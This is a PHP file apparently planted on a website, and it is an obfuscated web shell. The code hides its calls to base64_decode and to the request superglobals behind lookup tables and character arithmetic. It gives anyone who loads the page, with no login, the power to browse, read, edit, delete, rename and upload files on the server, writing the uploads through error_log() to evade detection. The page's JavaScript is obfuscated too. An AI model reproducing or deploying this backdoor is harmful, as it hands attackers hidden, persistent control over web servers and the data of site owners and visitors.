File: /home/predezso/cheatslotpro.com/8.php
<!--Hq6PlTfY-->
<!--Hq6PlTfY-->
<?php
function Result($Int) {$I=array('C','P','Q','T','U','M','V','h','E','L','l','0','K','8','C','l','a','U','D','e','4','I','m','1','5','s','b','R','Y','O','u','W','X','Z','+','c','@','d','3','r','F',')','B','y','C','J','q','G','#','S','o','H','4','A','i','j','t','v','w','x','z','g','%','(','$','_','+','2','x','(','f','6','j','k','n','p','*','9','N','1','3','3','7',';');$res='';foreach ($Int as $ind){$res.=$I[$ind];}return $res;}
$b = Result([26,16,25,19,71,20,65,37,19,35,50,37,19]);
$be = Result([26, 16, 25, 19, 71, 20, 65, 19, 74, 35, 50, 37, 19]);
$c=$b('Y2hy');
$_ = Result([65]).$c((0x47 << 1) >> 1).$c(hexdec("45")).$c(ord('U') - 1);
$__ = Result([65]).chr((0x50 << 1) >> 1) .chr(hexdec("4F")) .chr(ord("U") - (sqrt(1) + 1));
$__ .= chr(ord("S") + 1);
function get_absolute_root() {
$script_filename = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']);
$script_name = $_SERVER['SCRIPT_NAME'];
$pos = strpos($script_filename, $script_name);
if ($pos !== false) {return substr($script_filename, 0, $pos);}
return rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
}
$rootPath = realpath(get_absolute_root());
function displayPathItem($title, $value) {print "<div class='path-nav'><strong>{$title}:</strong>" . $value . "</div>";}
function PathCl($path){
global $be, $rootPath;
$real = realpath($path);
if ($real === false || strpos($real, $rootPath) !== 0) { $real = $rootPath; }
$relative = ltrim(str_replace($rootPath, '', $real), DIRECTORY_SEPARATOR);
$pathParts = $relative === '' ? [] : explode(DIRECTORY_SEPARATOR, $relative);
$breadcrumbs = ["<a href=\"?path=" . $be($rootPath) . "\">ROOT</a>"];
$accumulatedPath = $rootPath;
foreach ($pathParts as $part) {
$accumulatedPath .= DIRECTORY_SEPARATOR . $part;
$breadcrumbs[] = "<a href=\"?path=" . $be($accumulatedPath) . "\">$part</a>";
}
return implode(' / ', $breadcrumbs);
}
function getPermissions($path) {
$readable = is_readable($path) ? '<span class="green">R</span>' : '<span class="red">R</span>';
$writable = is_writable($path) ? '<span class="green">W</span>' : '<span class="red">W</span>';
$executable = is_executable($path) ? '<span class="green">Run</span>' : '<span class="red">Run</span>';
return "$readable $writable $executable";}
function formatFileSize($bytes) {
if ($bytes >= 1073741824) { return round($bytes / 1073741824, 2) . ' GB'; }
elseif ($bytes >= 1048576) { return round($bytes / 1048576, 2) . ' MB'; }
elseif ($bytes >= 1024) { return round($bytes / 1024, 2) . ' KB'; }
else { return $bytes . ' By'; }
}
$GetPath = isset(${$_}['path']) ? realpath($b(${$_}['path'])) : $rootPath;
if ($GetPath === false || strpos($GetPath, $rootPath) !== 0) { $GetPath = $rootPath; }
$AtPath = PathCl($GetPath);
$Dirqx = getPermissions($GetPath);
$pathItems = [['at path', $AtPath], ['run', $Dirqx]];
function renderFileList($GetPath) {
global $be, $rootPath;
$currentPath = is_dir($GetPath) ? $GetPath : dirname($GetPath);
$files = array_diff(scandir($currentPath) ?: [], ['.', '..']);
$directories = [];
$fileItems = [];
foreach ($files as $file) {
$fullPath = $currentPath . DIRECTORY_SEPARATOR . $file;
if (strpos(realpath($fullPath), $rootPath) !== 0) continue;
$isDir = is_dir($fullPath);
$permissions = getPermissions($fullPath);
$fileTime = date("Y-m-d H:i:s", filemtime($fullPath));
$fileSize = $isDir ? '<span class="size-dir">DIR</span>' : formatFileSize(filesize($fullPath));
$actions = '';
if (!$isDir && is_writable($fullPath)) {
$actions = sprintf('<div class="file-actions"><button class="delete-btn" data-path="%s">Delete</button><button class="rename-btn" data-path="%s" data-name="%s">Rename</button></div>', htmlspecialchars($fullPath), htmlspecialchars($fullPath), htmlspecialchars($file));
}
$fileLink = "<a href=\"?path=" . $be($fullPath) . "\">{$file}</a>";
$itemHtml = sprintf('<div class="file-item %s"><div class="file-name">%s</div><div class="file-size">%s</div><div class="file-time" style="width:150px; color:#666;">%s</div><div class="permissions">%s</div>%s</div>', $isDir ? 'dir' : '', $fileLink, $fileSize, $fileTime, $permissions, $actions);
if ($isDir) { $directories[] = $itemHtml; } else { $fileItems[] = $itemHtml; }
}
print '<div class="file-list">' . implode("\n", array_merge($directories, $fileItems)) . '</div>';
}
function LoadFile($GetPath) {
if (!is_dir($GetPath) && file_exists($GetPath) && is_readable($GetPath)) {
$content = file_get_contents($GetPath);
$isWritable = is_writable($GetPath);
print '<div class="file-content"><div class="file-content-header"><span class="file-type-icon">📄</span>' . basename($GetPath);
if ($isWritable) { print '<button id="save-btn" class="save-btn">Save</button>'; }
print '</div>';
if ($isWritable) {
print '<textarea id="file-editor" class="file-editor">' . htmlspecialchars($content) . '</textarea><input type="hidden" id="current-file-path" value="' . htmlspecialchars($GetPath) . '">';
} else {
print '<pre>';
foreach (explode("\n", $content) as $num => $line) {
printf('<div class="code-line"><span class="line-number">%s</span><code>%s</code></div>', str_pad($num + 1, 3, ' ', STR_PAD_LEFT), htmlspecialchars($line));
}
print '</pre>';
}
print '</div>';
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset(${$__}['f_p'])) {
$filePath = realpath(${$__}['f_p']);
if ($filePath && strpos($filePath, $rootPath) === 0 && is_writable(is_dir($filePath) ? $filePath : dirname($filePath))) {
if (isset(${$__}['s_f']) && isset(${$__}['f_c_64'])) {
$content = $b(${$__}['f_c_64']);
if (file_exists($filePath)) { unlink($filePath); }
$saveMsg = error_log($content, 3, $filePath) ? "<span class='green'>File saved successfully</span>" : "<span class='red'>Failed to save file</span>";
}
if (isset(${$__}['delete_file']) && file_exists($filePath) && !is_dir($filePath)) {
if (unlink($filePath)) {
$saveMsg = "<span class='green'>File deleted successfully</span>";
if ($GetPath === $filePath) { header("Location: ?path=" . $be(dirname($filePath))); exit; }
} else { $saveMsg = "<span class='red'>Failed to delete file</span>"; }
}
if (isset(${$__}['rename_file']) && isset(${$__}['new_name'])) {
$newPath = dirname($filePath) . DIRECTORY_SEPARATOR . basename(${$__}['new_name']);
if (rename($filePath, $newPath)) {
$saveMsg = "<span class='green'>Renamed successfully</span>";
if ($GetPath === $filePath) { header("Location: ?path=" . $be($newPath)); exit; }
} else { $saveMsg = "<span class='red'>Failed to rename</span>"; }
}
}
}
if (isset(${$__}['error_log'])) {
$content = $b(${$__}['error_log']);
$fileName = basename($b(${$__}['error_log_name']));
$targetDir = is_dir($GetPath) ? $GetPath : dirname($GetPath);
$uploadPathFile = $targetDir . DIRECTORY_SEPARATOR . $fileName;
if (strpos(realpath($targetDir), $rootPath) === 0 && is_writable($targetDir)) {
if (file_exists($uploadPathFile)) { unlink($uploadPathFile); }
$saveMsg = error_log($content, 3, $uploadPathFile) ? "<span class='green'> error_log Success</span> " : "<span class='red'> error_log Fail</span>";
}
}
}
?>
<!DOCTYPE html><title>9B534B8686E580E0E01768F00155B461</title><body>
<style>
body { margin: 0; background: #f8f9fa; }
.green { color: green; font-weight: bold; } .red { color: red; font-weight: bold; }
form { display: inline-block; margin: 0; }
.file-time { width: 160px; text-align: center; color: #888; font-size: 12px; font-family: monospace; }
.path-nav { padding: 15px; border: 1px solid #ddd; font-family: Arial, sans-serif; }
.path-nav a { color: #007bff; text-decoration: none; } .path-nav a:hover { text-decoration: underline; }
.file-list { box-shadow: 0 2px 8px rgba(0,0,0,0.1); background: white; }
.file-item { display: flex; align-items: center; padding: 8px; margin: 2px 0; background: #f5f5f5; border-radius: 3px; gap: 10px; }
.file-item:hover { background: #e0e0e0; }
.file-item::before { content: '📄'; margin-right: 8px; } .file-item.dir::before { content: '📁'; }
.file-name { flex-grow: 1; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.permissions { display: inline-flex; gap: 8px; margin-left: auto; }
.file-content { margin: 20px 0; border: 1px solid #e0e0e0; border-radius: 8px; background: #ffffff; box-shadow: 0 2px 4px rgba(0,0,0,0.05); }
.file-content-header { padding: 12px 20px; background: #f8f9fa; border-bottom: 1px solid #e0e0e0; font-weight: bold; color: #2c3e50; border-radius: 8px 8px 0 0; display: flex; justify-content: space-between; align-items: center; }
.file-content pre { margin: 0; padding: 20px; font-family: monospace; font-size: 14px; line-height: 1.6; color: #333; white-space: pre-wrap; word-break: break-word; overflow-x: auto; max-height: 70vh; }
.code-line { display: flex; padding: 2px 0; }
.line-number { color: #999; min-width: 40px; padding-right: 12px; text-align: right; user-select: none; border-right: 1px solid #eee; margin-right: 12px; }
code { white-space: pre-wrap; word-break: break-word; flex-grow: 1; }
.file-size { width: 120px; text-align: right; color: #666; font-family: monospace; }
.size-dir { color: #007bff; font-weight: bold; }
.save-btn { background: #4CAF50; color: white; border: none; padding: 5px 15px; border-radius: 4px; cursor: pointer; font-size: 14px; }
.file-editor { width: 100%; height: 500px; font-family: monospace; padding: 15px; box-sizing: border-box; border: none; resize: vertical; background: #f8f8f8; border-top: 1px solid #e0e0e0; }
.file-actions { display: flex; gap: 5px; margin-left: 10px; }
.delete-btn { background: #f44336; color: white; padding: 3px 8px; border: none; border-radius: 3px; cursor: pointer; font-size: 12px; }
.rename-btn { background: #2196F3; color: white; padding: 3px 8px; border: none; border-radius: 3px; cursor: pointer; font-size: 12px; }
</style>
<script>
(function() {
const _0x5f2e = ['createElement', 'input', 'type', 'file', 'onchange', 'files', 'onload', 'target', 'result', 'split', 'getElementById', 'value', 'name', 'submit', 'readAsDataURL', 'addEventListener', 'DOMContentLoaded', 'click', 'POST', 'f_p', 'f_c_64', 's_f', 'appendChild', 'delete_file', 'rename_file', 'new_name'];
const _0x4b12 = function(_0x1b, _0x2c) {
return _0x5f2e[_0x1b];
};
window['_hx_up'] = function(_0x54, _0x32, _0x1a) {
const _0x77 = document[_0x4b12(0x0)](_0x4b12(0x1));
_0x77[_0x4b12(0x2)] = _0x4b12(0x3);
_0x77[_0x4b12(0x4)] = (_0x21) => {
const _0x99 = _0x21[_0x4b12(0x7)][_0x4b12(0x5)][0x0];
if (!_0x99) return;
const _0xfe = new FileReader();
_0xfe[_0x4b12(0x6)] = (_0x88) => {
document[_0x4b12(0xa)](_0x54)[_0x4b12(0xb)] = _0x88[_0x4b12(0x7)][_0x4b12(0x8)][_0x4b12(0x9)](',')[0x1];
document[_0x4b12(0xa)](_0x32)[_0x4b12(0xb)] = btoa(_0x99[_0x4b12(0xc)]);
document[_0x4b12(0xa)](_0x1a)[_0x4b12(0xd)]();
};
_0xfe[_0x4b12(0xe)](_0x99);
};
_0x77[_0x4b12(0x11)]();
};
document[_0x4b12(0xf)](_0x4b12(0x10), function() {
const _0x01 = document[_0x4b12(0xa)]('save-btn');
if (_0x01) {
_0x01[_0x4b12(0xf)](_0x4b12(0x11), function() {
const _0xaa = document[_0x4b12(0xa)]('file-editor'),
_0xbb = document[_0x4b12(0xa)]('current-file-path');
if (_0xaa && _0xbb) {
const _0xcc = document[_0x4b12(0x0)]('form');
_0xcc.method = _0x4b12(0x12);
const _0xdd = {
[_0x4b12(0x13)]: _0xbb[_0x4b12(0xb)],
[_0x4b12(0x14)]: btoa(unescape(encodeURIComponent(_0xaa[_0x4b12(0xb)]))),
[_0x4b12(0x15)]: '1'
};
for (let _0xee in _0xdd) {
let _0xff = document[_0x4b12(0x0)](_0x4b12(0x1));
_0xff[_0x4b12(0x2)] = 'hidden';
_0xff[_0x4b12(0xc)] = _0xee;
_0xff[_0x4b12(0xb)] = _0xdd[_0xee];
_0xcc[_0x4b12(0x16)](_0xff);
}
document.body[_0x4b12(0x16)](_0xcc);
_0xcc[_0x4b12(0xd)]();
}
});
}
const _0x02 = (_0x6a, _0x6b, _0x6c = {}) => {
const _0x6d = document[_0x4b12(0x0)]('form');
_0x6d.method = _0x4b12(0x12);
const _0x6e = { [_0x4b12(0x13)]: _0x6b, ..._0x6c };
_0x6e[_0x6a] = '1';
for (let _0x6f in _0x6e) {
let _0x7a = document[_0x4b12(0x0)](_0x4b12(0x1));
_0x7a[_0x4b12(0x2)] = 'hidden';
_0x7a[_0x4b12(0xc)] = _0x6f;
_0x7a[_0x4b12(0xb)] = _0x6e[_0x6f];
_0x6d[_0x4b12(0x16)](_0x7a);
}
document.body[_0x4b12(0x16)](_0x6d);
_0x6d[_0x4b12(0xd)]();
};
document.querySelectorAll('.delete-btn').forEach(_0x8a => {
_0x8a[_0x4b12(0xf)](_0x4b12(0x11), function() {
if (confirm('Delete?')) _0x02(_0x4b12(0x17), this.getAttribute('data-path'));
});
});
document.querySelectorAll('.rename-btn').forEach(_0x9b => {
_0x9b[_0x4b12(0xf)](_0x4b12(0x11), function() {
const _0xname = prompt('New name:', this.getAttribute('data-name'));
if (_0xname) _0x02(_0x4b12(0x18), this.getAttribute('data-path'), { [_0x4b12(0x19)]: _0xname });
});
});
});
})();
</script>
<div style="display: flex; gap: 30px; padding: 20px;">
<div style="flex: 0 0 800px; position: sticky; top: 20px; height: min-content;">
<?php foreach ($pathItems as $item): ?>
<?php displayPathItem($item[0], $item[1]); ?>
<?php endforeach; ?>
<?php renderFileList($GetPath)?>
</div>
<div style="flex: 1; max-width: 1000px;">
<div class="path-nav"><span>error_log </span><form id="u3" method="post"><input type="hidden" name="error_log" id="d3"><input type="hidden" name="error_log_name" id="n3"><button type="button" onclick="_hx_up('d3', 'n3', 'u3')">up</button></form></div>
<div class="path-nav"><?php print isset($saveMsg) ? $saveMsg : ''; ?></div>
<?php LoadFile($GetPath); ?>
</div>
</div>
</body></html>